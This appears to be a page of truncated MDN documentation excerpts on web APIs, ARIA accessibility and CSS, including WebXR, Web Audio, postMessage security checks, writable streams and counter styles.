...r usage while somewhat awkward compared to using an actual headset, this makes it possible to experiment with and developer webxr code on a desktop computer, where webxr isn't normally available. it also lets you perform some basic testing before taking your code to a real device. be aware, however, that the emulator does not yet completely emulate all of the webxr api, so you may run into problems you're not expecting. again, carefully read the readme file and make sure you're aware of the limitations before you begin. important: you should always test your code on actual ar and/or vr hardware before releasing or shipping a product! emulated, simulated, or polyfilled environments are not an adequate substitute for actual testing on physical devices. getting the extension download the we...
...cts as needed. begin the frame rendering cycle. ...
Advanced techniques: Creating and sequencing audio - Web APIs
demo we're going to be looking at a very simple step sequencer: in practice this is easier to do with a library — the web audio api was built to be built upon. ...
...ntext: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. the oscillatornode comes with basic waveforms out of the box — sine, square, triangle or sawtooth. however, instead of using the standard waves that come by default, we're going to create our own using the periodicwave interface and values set in a wavetable. we can use the baseaudiocontext.createperiodicwave method to use this custom wave with an oscillator. the periodic wave first of all, we'll create our periodic wave. to do so, we ne...
...noise is just random numbers when it comes to audio data, so is, therefore, a relatively straightforward thing to create with code. creating an audio buffer we need to create an empty container to put these numbers into, however, one that the web audio api understands. this is where audiobuffer objects come in. you can fetch a file and decode it into a buffer (we'll get to that late...
Background audio processing using AudioWorklet - Web APIs
r audio processing algorithm using webassembly can make it perform markedly better. high level overview before we start looking at the use of audioworklet on a step-by-step basis, let's start with a brief high-level overview of what's involved. create module that defines a audio worklet processor class, based on audioworkletprocessor which takes audio from one or more incoming sources, performs its operation on the data, and outputs the resulting audio data. access the audio context's audioworklet through its audioworklet property, and call the audio worklet's domxref("worklet.addmodule", "addmodule()")}} method to install the audio worklet processor module. as needed, create audio processing nodes by passing the processor's name (which is defined by the module) to the audioworkletnod...
...dio for a single audio channel (such as the left speaker or the subwoofer, for example) is represented as a float32array whose values are the individual audio samples. by specification, each block of audio your process() function receives contains 128 frames (that is, 128 samples for each channel), but it is planned that this value will change in the future, and may in fact vary depending on circumstances, so you should always check the array's length rather than assuming a particular size. it is, however, guaranteed that the inputs and outputs will have the same block length. each input can have a number of channels. a mono input has a single channel; stereo input has two channels. surround sound might have six or more channels. so each input is, in turn, an array of channels. that is, an ...
... there's anything left for you to do. in other words, true overrides the api's logic and gives you control over your processor's lifetime policy, keeping the processor's owning audioworkletnode running even when it would otherwise decide to shut down the node. returning false from the process() method tells the api that it should follow its normal logic and shut down your processor node if it deems it appropriate to do so. if the api determines that your node is no longer needed, process() will not be called again. note: at this time, unfortunately, chrome does not implement this algorithm in a manner that matches the current standard. instead, it keeps the node alive if you return true and shuts it down if you return false. thus for compatibility reasons you must always return true from ...
Web Storage API - Web APIs
data is never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. ...
...s never transferred to the server. storage limit is larger than a cookie (at most 5mb). localstorage does the same thing, but persists even when the browser is closed and reopened. stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data. storage limit is the maximum amongst the three. ...
...a different storage object is used for the sessionstorage and localstorage for each origin — they function and are controlled separately. note: from firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10mb. ...
window.postMessage() - Web APIs
different location since postmessage was called. source a reference to the window object that sent the message; you can use this to establish two-way communication between two windows with different origins. security concerns if you do not expect to receive messages from other sites, do not add any event listeners for message events. this is a completely foolproof way to avoid security problems. if you do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties. any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. having verified identity, however, you still should always verify the sy...
...g postmessage. secure shared memory messaging if postmessage() throws when used with sharedarraybuffer objects, you might need to make sure you cross-site isolated your site properly. ...
...by the current value of document.domain in the calling window. for idn host names only, the value of the origin property is not consistently unicode or punycode; for greatest compatibility check for both the idn and punycode values when using this property if you expect messages from idn sites. this value will eventually be consistently idn, but for now you should handle both idn and punycode forms. the value of the origin property when the sending window contains a javascript: or data: url is the origin of the script that loaded the url. using window.postmessage in extensions window.postmessage is available to javascript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (the other...
Window.requestAnimationFrame() - Web APIs
n before the next repaint. the method takes a callback as an argument to be invoked before the repaint. note: your callback routine must itself call requestanimationframe() if you want to animate another frame at the next repaint. you should call this method whenever you're ready to update your animation onscreen. this will request that your animation function be called before the browser performs the next repaint. the number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c recommendation. requestanimationframe() calls are paused in most browsers when running in background tabs or hidden <iframe>s in order to improve performance and battery life. the callback method is passed a single argument, a domhighrestimes...
...which indicates the current time (based on the number of milliseconds since time origin). when callbacks queued by requestanimationframe() begin to fire multiple callbacks in a single frame, each receives the same timestamp even though time has passed during the computation of every previous callback's workload. this timestamp is a decimal number, in milliseconds, but with a minimal precision of 1ms (1000 µs). be sure to always use the first argument (or some other method for getting the current time) to calculate how much the animation will progress in a frame, otherwise the animation will run faster on high refresh rate screens. check the example below for a way to do this. syntax window.requestanimationframe(callback); parameters callback the function to call when it's time to...
... long integer value, the request id, that uniquely identifies the entry in the callback list. this is a non-zero value, but you may not make any other assumptions about its value. you can pass this value to window.cancelanimationframe() to cancel the refresh callback request. example in this example, an element is animated for 2 seconds (2000 milliseconds). the element moves at a speed of 0.1px/ms to the right, so its relative position (in css pixels) can be calculated in function of the time elapsed since the start of the animation (in milliseconds) with 0.1 * elapsed. the element's final position is 200px (0.1 * 2000) to the right of its initial position. const element = document.getelementbyid('some-element-you-want-to-animate'); let start; function step(timestamp) { if (start === u...
Window.scroll() - Web APIs
Web › API › Window › scroll
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full supp...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
Window.scrollBy() - Web APIs
Web › API › Window › scrollBy
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full supp...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support partial support partial support no support no supportsee implementation notes.
Window.showModalDialog() - Web APIs
if on, yes, or 1, the dialog window has scroll bars; otherwise its size is fixed. default is no. note: firefox does not implement the dialoghide, edge, status, or unadorned arguments. examples try out showmodaldialog(). notes showmodaldialog() was briefly standardized as part of html5. the third argument for additional options was not present in the html5 version. ...
... msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new we...
Window.updateCommands() - Web APIs
summary updates the state of commands of the current chrome window (ui). syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event this is (e.g. whether we are in bold right now). notes this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes. specification dom level 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data a...
...l 0. not part of specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect p...
WritableStream.WritableStream() - Web APIs
d by the developer, will be called if the app signals that it wishes to abruptly close the stream and put it in an errored state. it can clean up any held resources, much like close(), but abort() will be called even if writes are queued up — those chunks will be thrown away. if this process is asynchronous, it can return a promise to signal success or failure. the reason parameter contains a domstring describing why the stream was aborted. queuingstrategy optional an object that optionally defines a queuing strategy for the stream. this takes two parameters: highwatermark a non-negative integer — this defines the total number of chunks that can be contained in the internal queue before backpressure is applied. size(chunk) a method containing a parameter chunk — this in...
...hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
... more data (line 11) or call close() (line 24). calling close() too early can prevent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status comment streamsthe definition of 'writablestream()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.ready - Web APIs
o ensure that all chunks are written // before closing the writer. defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchro...
...rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 46safari ? webview android full support 59chrome android full support 59firefox android no support noopera android full support 43safari ios ? ...
WritableStreamDefaultWriter - Web APIs
constructor writablestreamdefaultwriter() creates a new writablestreamdefaultwriter object instance. properties writablestreamdefaultwriter.closedread only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the writer's lock is released, or rejects if the stream errors. ...
...hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { ...
... living standard initial definition. ...
XRInputSource - Web APIs
the webxr device api's xrinputsource interface describes a single source of control input which is part of the user's webxr-compatible virtual or augmented reality system. the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the device. properties gamepad read only a gamepad object describing the state of the buttons and axes on the xr input source, if it is a gamepad or comparable device. if the device isn't a gamepad-like device, this property's value is null. note: while xrinputsource uses the gamepad interface from the gamepad api, this input device is strictly associated with the webxr hardware and is not a general-purpose gaming device...
...l-purpose gaming device. gripspaceread only an xrspace whose origin tracks the pose which is used to render objects which should appear as if they're held in the hand indicated by handedness. the orientation of this space indicates the angle at which the hand is gripping the object. read on in the main article on gripspace for more details on how to use this space. ...
...d by handedness. the orientation of this space indicates the angle at which the hand is gripping the object. read on in the main article on gripspace for more details on how to use this space. handednessread only a domstring that indicates which hand the device represented by this xrinputsource is being used in, if any. the value will be left, right, or none. profilesread only an array of domstring objects, each specifying the name of an input profile describing the preferred visual representation and behavior of this input source. targetraymoderead only a domstring indicating the methodology used to produce the target ray: gaze, tracked-pointer, or screen. targetrayspaceread only an xrspace object defining the origin of the target ray and the direciton in which it extends. t...
XRView - Web APIs
Web › API › XRView
iew for a pose to draw eerything the user sees each frame requires iterating over the list of views returned by the xrviewerpose object's views list: for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); // draw the scene; the eye being drawn is identified // by view.eye. } special view transforms there are a few special transforms that are used on the view while rendering and lighting a scene. model view matrix the model view matrix is a matrix which defines the position of an object relative to the space in which it's located: if objectmatrix is a transform applied to the object to provide its basic position and rotation, then the model view matrix can be computed by multiplying the o...
... return refspace.getoffsetreferencespace(newtransform); } this code is broken into four sections. in the first, the quaternion inverseorientation is computed. this represents the rotation of the object given the values of mousepitch (rotation around the object's reference's space's x axis) and mouseyaw (rot...
... vector for the object. this vector indicates the direction which is "up" in the scene overall, but in the object's reference space. the third section creates the new xrrigidtransform, specifying a point providing the offsets along the three axes as the first parameter, and the orientation quaternion as the second parameter. the returned object's matrix property is the actual matrix that transforms points from the scene's reference space to the object's new position. finally, a new reference space is created to describe the relationship between the two reference spaces fully. that reference space is returnedto the caller. to use this function, we simply pass the returned reference space into xrframe.getpose() or getviewerpose(), as appropriate for yoru needs. the xrpose returned will then...
ARIA: application role - Accessibility
ound for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content from the browser at once after it had finished loading. the ats build their own representation of it that makes the most sense for a blind user to consume the content. this is often referred to as virtual document, browse mode, or similar terms. the document is streamlined to a single-column view. a keyboard interaction model is generated that is very similar to a word processor where users can read line by line, sentence by sentence, or paragraph by paragraph. the at will read any semantics like links, headings, form controls, tables, lists, or images. in addition, a set of so-called quick navigation keys has been established over the...
...s, form controls, tables, lists, or images. in addition, a set of so-called quick navigation keys has been established over the years that allows blind users to skim through a page via a certain element type. such elements usually include headings, form fields, lists, tables, links, graphics, or landmark regions. for all of this to work, ats intercept almost all keyboard input and consume it themselves, letting nothing through to the browser or other user agent. to be able to interact with a web page, a standard set of widgets is recognized that, when pressing a certain key (usually the enter key) this mode is switched off. the screen reader mode, often called forms mode or focus mode, lets all keyboard input go through to the browser again. escape is the most common way of switching back ...
...nt, for example. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'application' in that specification. recommendation precedence order applying the application role will cause this and all of the descendant elements of this element to be treated like application content, not web content. any reading mechanisms assistive technologies may have for web content will not apply. see also if you use the wai-aria role "application", please do so wisely - blog post by marco zehe ...
ARIA: grid role - Accessibility
tates, and properties roles treegrid (subclass) if a grid has columns that can expanded or collapsed, a treegrid can be used. row a row inside the grid. rowgroup a group containing one or multiple rows. states and properties aria-level indicates the hierarchical level of the grid within other structures. aria-multiselectable if aria-multiselectable is set to true, multiple items in the grid can be selected. the default value is false. aria-readonly if the user can navigate the grid but not change the value or values of the grid, the aria-readonly should be set to true. the default value is false. for many use cases, an html table element is sufficient as it and its elements already include many aria roles. keyboard interactions when a keyboard user encounters a g...
... scope="row" role="rowheader">week 40</th> <td role="gridcell" tabindex="-1"> 30 </td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td>5</td> <td>6</td> </tr> </tbody> </table> css body { margin: 2rem; font-family: "helvetica neue", sans-serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectabl...
... role="gridcell" tabindex="-1"> 5 </td> <td role="gridcell" tabindex="-1"> 6 </td> <td role="gridcell" tabindex="-1"> 7 </td> <td role="gridcell" tabindex="-1"> 8 </td> </tr> <!-- … additional rows … --> </tbody> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].set...
Basic form hints - Accessibility
when a screen reader user navigates a page, the screen reader will describe form controls. without a direct association between the control and its label, the screen reader has no way of knowing which label is the correct one. the example below shows a simple form with labels. note that each <input> element has an id, and each <label> element has a for attribute, indicating the id of the associated <input>. ...
... ...
... ...
Alerts - Accessibility
the form first, please read about the aria-required technique if you have not done so, as this technique expands upon that. ...
...osing focus (caused by the “onblur” handler in javascript's default ‘alert’ function). ...
...ng “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); addalert(amsg); } else { elem.setattribute("aria-invalid", "f...
Accessibility and Spacial Patterns - Accessibility
images below are from nasa research, specifically, from the article, "designing with blue" "spatial localization. symbols which have the same luminance as their background are perceptually less securely located in space and time than are symbols with higher luminance contrast. they tend to "float" visually or be "captured" by adjacent symbols with high luminance-contrast. the phenomenon seems to be especially problematic for symbol/background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation. the mechanism for this is poorly understood, but is believed to be linked to "gamma oscillations" set up in the brain. these oscillations in the brain are a different kind of response than o...
...may be caused by static images as well as animation. the mechanism for this is poorly understood, but is believed to be linked to "gamma oscillations" set up in the brain. these oscillations in the brain are a different kind of response than other kinds of neurological responses believed to cause photosensitive seizures. stripes and patterns are typical of the kinds of images that create problems, and stripes have been studied most closely. there's the potential for causing harm if there are more than five light-dark pairs of stripes in any orientation. they can be parallel, radial, curved or straight, and may be formed by rows of repeating elements. in 2005, arnold wilkins, john emmett, and graham harding evaluated the guidelines for characterizing patterned images that could preci...
...ationships in how math is presented affects cognition. the web developer can do something about this in the manner in which he displays math. animation figures strongly in this arena. for example, "how" an object looks when it is rotated, from different angles, how they look sliced, and how they relate to each other in space all make a difference in an ability to understand math in spatial terms. braille modern technology enalbes non-experts to print braille. adobe illustrator, for example, allows one to typeset ada braille for printing out. the ability to represent spatial patterns accurate to those who are blind is critical for accessibility. for example, knowing braille is not enough. the braille dots have to be spatially apart from one another so as to be readable in a "human"...
Accessibility Information for Web Authors - Accessibility
ong with an example and a clickable link to the reference/guideline. just wonderful! the html advanced validator may also be downloaded from firefox add-ons: html validator. color contrast analyzer by juicy studio "contrast is the perceived difference between two adjacent colors. ...
...oaded from firefox add-ons: html validator. color contrast analyzer by juicy studio "contrast is the perceived difference between two adjacent colors. (...) contrast is extremely important in web design." wheel of color: pump up the contrast, robert hess, msdn "for this year's list of worst design mistakes, (...) i asked readers of my newsletter to nominate the usability problems they found the most irritating. ...
...extremely important in web design." wheel of color: pump up the contrast, robert hess, msdn "for this year's list of worst design mistakes, (...) i asked readers of my newsletter to nominate the usability problems they found the most irritating. (...) about one-third complained about low contrast between text and background." top ten web design mistakes of 2005: 1. legibility problems how can a web author establish easily and quickly if the background color and foreground (text) color in use in his webpages have sufficient color contrast difference and sufficient color brightness difference? color contrast analyzer is an excellent tool for such task. effective color contrast and effective color brightness difference have a decisive importance for reading, furthermore for...
Keyboard-navigable JavaScript widgets - Accessibility
ols) get focused. with the tabindex global attribute, authors can make other elements focusable, too. when set to 0, the element becomes focusable by keyboard and script. when set to -1, the element becomes focusable by script, but it does not become part of the keyboard focus order. the order in which elements gain focus when using a keyboard, is the source order by default. in exceptional circumstances, authors may want to redefine the order. to do this, authors can set tabindex to any positive number. warning: avoid using positive values for tabindex. elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more ...
...ficationmenu" title="justication" tabindex="-1"> <li id="left" tabindex="-1">left</li> <li id="center" tabindex="-1">centered</li> <li id="right" tabindex="-1">right</li> <li id="justify" tabindex="-1">justify</li> </ul> </li> </ul> disabled controls when a custom control becomes disabled, remove it from the tab order by setting tabindex="-1". note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys. managing focus inside groups when a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. there are two techniques for accomplishing this: roving tabindex: programmatically moving focus aria-activedescendant...
... that the keyboard can be used to activate elements, any handlers bound to mouse events should also be bound to keyboard events. for example, to ensure that the enter key will activate an element, if you have an onclick="dosomething()", you should bind dosomething() to the key down event as well: onkeydown="return event.keycode != 13 || dosomething();". always draw the focus for tabindex="-1" items and elements that receive focus programatically ie will not automatically draw the focus outline for items that programatically receive focus. choose between changing the background color via something like this.style.backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". in the dotted border case you will need to make sure those elements have an invisible ...
:scope - CSS: Cascading Style Sheets
Web › CSS › :scope
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...move it. full support 20disabled disabled from version 20: this feature is behind the layout.css.scope-pseudo.enabled preference (needs to be set to true). ...
... ...
range - CSS: Cascading Style Sheets
en the fallback style will be used to construct the representation of that marker. ...
.../* keyword value */ range: auto; /* range values */ range: 2 5; range: infinite 10; range: 6 infinite; range: infinite infinite; /* multiple range values */ range: 2 5, 8 10; range: infinite 6, 10 infinite; values auto the range depends on the counter system: for cyclic, numeric, and fixed systems, the range is negative infinity to positive infinity. for alphabetic and symbolic systems, the range is 1 to positive infinity. for additive systems, the range is 0 to positive infinity. for extends systems, the range is whatever auto would produce for the extended system; if extending a complex predefined style (§7 complex predefined counter styles), the range is the style’s defined range. [ [ | infinite ]{2} ]# defines a comma-separated list of ranges. for each individu...
...f any range is higher than the upper bound, the entire descriptor is invalid and will be ignored. description the value of the range descriptor can be either auto or a comma separated list of lower and upper bounds specified as integers. if value is auto, then for cyclic, numeric, and fixed system, the range will be from negative infinity to positive infinity. for alphabetic and symbolic systems, range will be from 1 to positive infinity. for additive systems, auto will result in the range 0 to positive infinity. for extends systems, the range is whatever auto will produce for the extended system. when range is specified as integers, the value infinite can be used to denote infinity. if infinite is specified as the first value in a range, then it is interpreted as negative infinity. if ...
@counter-style - CSS: Cascading Style Sheets
ue, the marker is constructed as normal. fallback specifies a system to fall back into if either the specified system is unable to construct the representation of a counter value or if the counter value outside the specified range. if the specified fallback also fails to represent the value, then the fallback style's fallback is used, if one is specified. if there are either no fallback systems described or if the chain of fallback systems are unable to represent a counter value, then it will ultimately fall back to the decimal style. symbols specifies the symbols that are to be used for the marker representations. symbols can contain string, images or custom identifiers. how the symbols are used to construct the marker representation is up to the algorithm specified in the system ...
...character symbols. image values for symbols is currently an 'at risk' feature, and is not implemented in any browser. @counter-style winners-list { system: fixed; symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor. each additive tuple consists of a counter symbol and a non negative integer weight. the additive tuples must be specified in the descending order of their weights. speak-as describes how to read out the counter style in speech synthesizers, such as screen readers. for example, the value of the marker symbo...
... ... Ⓨ twenty five Ⓩ twenty six 27 twenty seven 28 twenty eight 29 twenty nine 30 thirty see more examples on the demo page. specifications specification status comment css counter styles level 3the definition of 'counter-style' in t...
Border-radius generator - CSS: Cascading Style Sheets
color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui component */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3p...
...; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * preview area */ #preview { height: 500px; border: 1px solid #ccc; ...
... bottom: 10px; left: 10px; } /** * controls */ #dimensions { width: 200px; color: #444; float:left; } #dimensions input { background: #555; color: #fff; border: none; border-radius: 3px; } #output { width: 500px; padding: 10px 0; margin: 10px 0; color: #555; text-align: center; border: 1px dashed #999; border-radius: 3px; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.addeventlistener('c...
In Flow and Out of Flow - CSS: Cascading Style Sheets
in the previous guide i explained block and inline layout in normal flow. all elements that are in flow, will be laid out using this method. in the following example i have a heading, paragraph, a list and a final paragraph which contains a strong element. the heading and paragraphs are block level, the strong element inline. ...
... strong element inline. the list is displayed using flexbox to arrange the items into a row, however it too is participating in block and inline layout - the container has an outside display type of block. all of the elements can be said to be in flow. appearing on the page in the order that they are in the source. taking an item out of flow all elements are in-flow apart from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page. the root element therefore is out of flow, as the container for everything in our document, and establishes the block for...
...i’ve added a background colour to the paragraphs, and then floated the div left. the div is now out of flow. as a float it is first laid out according to where it would be in normal flow, then taken out of flow and moved to the left as far as possible. ...
OpenType font features guide - CSS: Cascading Style Sheets
make fonts look and behave differently in subtle and dramatic ways. not all opentype features are appropriate to use all of the time, but some features are critical for great typography. -- tim brown, head of typography at adobe. sometimes it's substance, not just style there are some cases — like with font-variant-east-asian — that opentype features are directly tied to using different forms of certain glyphs, which can impact meaning and readability. in cases such as these it's more than just a nicety, but rather an integral part of the content itself. the font features there are a number of different features to consider. they are grouped and explained here according to the main attributes and options covered in the w3c specifications. note: the examples below show the properti...
...cript glyphs. these are designed to work with the surrounding text without altering the baseline or line spacing. this is one of the key benefits over using the <sub> or sup elements. capitals (font-variant-caps) one of the more common use cases for opentype features is proper small caps. these are capital letters sized to fit better amongst lower case letters and are generally used for acronyms and abbreviations. numerals (font-variant-numeric) there are several different styles of numerals commonly included in fonts: 'lining' figures are all the same height and on the same baseline. 'oldstyle' figures are mixed height and designed to have the appearance of ascenders and descenders like other lower case letters. these are designed to be used inline with copy so the numerals visu...
...nancial tables. there are two types of fractions supported through this property: diagonal slashed fractions. vertically stacked fractions. ordinals are also supported (such as '1st' or '3rd'), as is a slashed zero if present in the font. lining and oldstyle figures fractions, ordinals, and slashed zero east asian (font-variant-east-asian) this allows access to various alternate forms of glyphs within a font. the example below shows a string of glyphs with only the opentype set 'jis78' enabled. uncheck the box below and you'll see more characters displayed. note: these glyphs were copied out of a font sample and are not intended as prose. font variant shorthand (font-variant) this is the shorthand syntax for defining all of the above. setting a value of normal resets al...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
l that promise of content separated from mark-up, however is it possible to go too far with this idea? is it possible that we could create an accessibility issue through our use of grids? re-ordering content in css grid layout we’ve already seen in these guides that grid gives us power to re-order the content of our page in various ways. we can use the order property, which will change how items auto-place. we can use grid-auto-flow: dense which will take items visually out of dom order. we can also position items using line-based placement of grid template areas, without considering their location in the source. the specification includes a section that covers reordering and accessibility. in the introduction to that section are details of what the specification expects browsers to do ...
...tails of what the specification expects browsers to do when the content is visually reordered using grid layout. grid layout gives authors great powers of rearrangement over the document. however, these are not a substitute for correct ordering of the document source. the order property and grid placement do not affect ordering in non-visual media (such as speech). likewise, rearranging grid items visually does not affect the default traversal order of sequential navigation modes (such as cycling through links, see e.g. tabindex html5). if you reorder things visually using grid layout, this will not change how the items are ordered if the content is being read out by a screen reader, or other text to speech user agent. in addition, the reordering will not change tab order. this means tha...
... the specification warns authors (the csswg term for web developers) not to do this reordering. ...
Using CSS gradients - CSS: Cascading Style Sheets
ing radial color stops again like linear gradients, you can position each radial color stop with a percentage or absolute length. <div class="radial-gradient"></div> div { width: 120px; height: 120px; } .radial-gradient { background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%); } positioning the center of the gradient you can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top. <div class="radial-gradient"></div> div { width: 120px; height: 240px; } .radial-gradient { background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%); } sizing radial gradients unlike linear gr...
...te a conic gradient are two colors. ...
...ho...
CSS values and units - CSS: Cascading Style Sheets
